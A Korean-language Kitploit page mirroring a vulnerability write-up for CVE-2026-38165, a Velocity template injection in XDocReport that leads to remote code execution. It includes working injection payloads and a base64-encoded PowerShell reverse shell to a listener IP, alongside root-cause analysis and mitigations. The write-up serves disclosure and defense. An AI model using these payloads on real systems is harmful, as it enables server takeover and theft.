Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-38165-SSTI- — CVE-2026-38165 (SSTI) | Kitploit
도구/GitHubGitHub/at190510-cuong/cve-2026-38165-ssti-
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationPayload Development
GitHubat190510-cuong/cve-2026-38165-ssti-

CVE-2026-38165-SSTI-

CVE-2026-38165 (SSTI)

저장소 보기
12개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-38165 (SSTI Velocity)

XDocReport의 서버 측 템플릿 삽입(SSTI)으로 Apache Velocity 엔진을 통한 원격 코드 실행 가능

버그 정의

취약점 개요

  • 서버 측 템플릿 삽입(SSTI)은 콘텐츠 관리 시스템(CMS) 및 웹 프레임워크에서 사용되는 템플릿에 악성 코드를 삽입하여 원격 공격, 민감 정보 탈취 또는 시스템 침투 작업을 수행할 수 있게 하는 웹 보안 취약점입니다.

  • SSTI는 SQL 인젝션, XSS 등과 같은 인젝션 취약점의 변형으로, 공격자는 템플릿 시스템을 악용하여 원격으로 악성 코드를 배포합니다. SSTI 공격이 성공하면 공격자는 서버 측에서 자신의 코드를 실행할 수 있게 되어 민감 정보 수집, 시스템 침투 작업, 무단 자원 접근 등 원격 공격을 수행할 수 있습니다.

  • SSTI 취약점은 일반적으로 안전하지 않은 템플릿 시스템을 사용하거나 템플릿에 입력 매개변수를 삽입하기 전에 검사 및 처리를 하지 않아 발생합니다. SSTI 공격이 성공하면 피해 조직에 심각한 손실을 초래할 수 있습니다.

비즈니스 영향

  • SSTI 취약점은 다음과 같은 심각한 결과를 초래할 수 있습니다:

  • 악성 코드 실행: 공격자는 이 취약점을 사용하여 서버에서 악성 코드를 실행하여 데이터 탈취, 시스템에서 불법 행위 수행, 나아가 서버 전체를 제어할 수 있습니다.

  • 민감 정보 노출: SSTI는 공격자가 서버의 파일을 읽고, 수정하거나 삭제할 수 있게 합니다. 이러한 파일에 계정 및 비밀번호와 같은 민감 정보가 포함된 경우 공격자가 쉽게 노출시킬 수 있습니다.

  • 사용자 위협 또는 피싱 공격: 공격자는 SSTI를 사용하여 웹 페이지 내용을 변경하거나 가짜 맞춤 버튼을 추가하여 사용자를 위협하거나 피싱할 수 있습니다. 사용자가 이러한 버튼을 클릭하면 공격자가 사용자 정보를 탈취하거나 컴퓨터에 악성 소프트웨어를 설치할 수 있습니다.

심각도 치명적

image

설명 및 영향

fr.opensagres.xdocreport.template.velocity

OpenSAGRES XDocReport에서 DOCX 템플릿을 velocity 엔진으로 처리할 때 서버 측 템플릿 삽입(SSTI) 취약점이 발견되었습니다. 특정 구성에서 조작된 템플릿은 원격 코드 실행(RCE)으로 이어질 수 있습니다.

인사 관리 웹사이트는 사용자가 .docx 문서 파일을 시스템에 업로드할 수 있도록 합니다. 처리 과정에서 애플리케이션은 velocity 템플릿 엔진(파일에서)을 사용하여 콘텐츠를 렌더링하지만 입력 콘텐츠를 제어하거나 필터링하는 메커니즘이 없습니다. 이 취약점으로 인해 공격자는 .docx 파일(템플릿)에 악성 표현식을 삽입하여 서버에서 원격 코드 실행(RCE)을 유발할 수 있으며, 정보 탈취 또는 시스템 장악에 악용될 수 있습니다.

영향을 받는 구성 요소

fr.opensagres.xdocreport.template.velocity — XDocReport (버전 =< 2.1.0).

근본 원인 분석

https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

image

velocityEngine.evaluate(...)는 Apache Velocity의 표준/기본 메서드로, Reader(또는 String)에서 템플릿을 평가(evaluate)하고 Context를 사용하여 Writer에 출력합니다. 이는 Template.merge(...)와 동일하게 VTL(Velocity Template Language) 구문을 실행합니다.

evaluate와 Template.merge의 실제 차이점

  • evaluate: Reader/String에서 구문 분석 → 템플릿이 동적/신뢰할 수 없는 경우에 편리합니다.

  • getTemplate(...).merge(...): 리소스 로더가 처리한 템플릿을 로드(캐싱, 인코딩 등)한 후 병합(merge)합니다. VTL 실행 가능성 측면에서는 둘 다 동일한 표현식을 실행합니다. 주요 차이점은 템플릿 로드 위치/모드입니다.

재현 단계

  1. 사용자가 다음 페이로드가 포함된 .docx 파일을 업로드합니다.

image

root@kitploit:~
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

  1. 시스템 명령어가 성공적으로 실행되는 것을 확인합니다.

image

  1. 다음 페이로드도 마찬가지입니다.
root@kitploit:~
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

image

image

  1. 마찬가지로
root@kitploit:~
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

image

  1. 영향도를 RCE로 높이기
  • 청취 머신은 IP 주소가 172.26.208.130인 wsl입니다.

image

  • 다음 페이로드로 익스플로잇:
root@kitploit:~
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

  • .docx 파일을 xdocreport로 전송하여 처리

image

  • wsl 머신에서 쉘이 반환된 것을 확인

image

해결 방안

  • https://github.com/opensagres/xdocreport/pull/723

템플릿 내 위험한 리플렉션 접근 차단

root@kitploit:~
velocityEngineProperties.setProperty(
    "runtime.introspector.uberspect",
    "org.apache.velocity.util.introspection.SecureUberspector"
);

Apache Velocity SecureUberspector 클래스는 샌드박스 인트로스펙터입니다.

SecureUberspector는 다음을 차단합니다:

  • java.lang.Runtime
  • java.lang.ClassLoader
  • java.lang.Process

차단된 클래스 목록

root@kitploit:~
velocityEngineProperties.setProperty(
    "introspector.restrict.classes",
    "java.lang.Class,
     java.lang.ClassLoader,
     java.lang.Process,
     java.lang.Runtime,
     java.lang.System,
     java.lang.Thread"
);

리플렉션 패키지 차단

root@kitploit:~
velocityEngineProperties.setProperty(
    "introspector.restrict.packages",
    "java.lang.reflect"
);

차단 대상:

  • java.lang.reflect.Method
  • java.lang.reflect.Field

디버그 환경 설정

  • Main.java 파일
root@kitploit:~
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // Velocity 표현식이 포함된 입력 파일 읽기
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // 입력 파일
            InputStream input = new FileInputStream(docxTemplate);

//             Velocity를 사용하여 템플릿 로드
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);

            // 컨텍스트 생성 - 독립 표현식 테스트 시 비워둘 수 있음
            IContext context = report.createContext();

            // 새 파일로 출력
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ result.docx 파일이 성공적으로 생성되었습니다.");
        } catch (Exception e) {
            System.err.println("❌ 파일 처리 오류:");
            e.printStackTrace();
        }
    }
}
  • 필요한 라이브러리
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

소스 싱크 디버그 분석

  • report.process(context, out) — 템플릿이 렌더링되어 파일에 기록되는 지점입니다.

image

image

image

image

image

image

image

image

image

image

image

image image

image

image

참고 자료

  • https://drive.google.com/drive/folders/1pLguRIVrqyXcy1jE35nW-wAvBR0sHb7x?usp=drive_link
도구 다운로드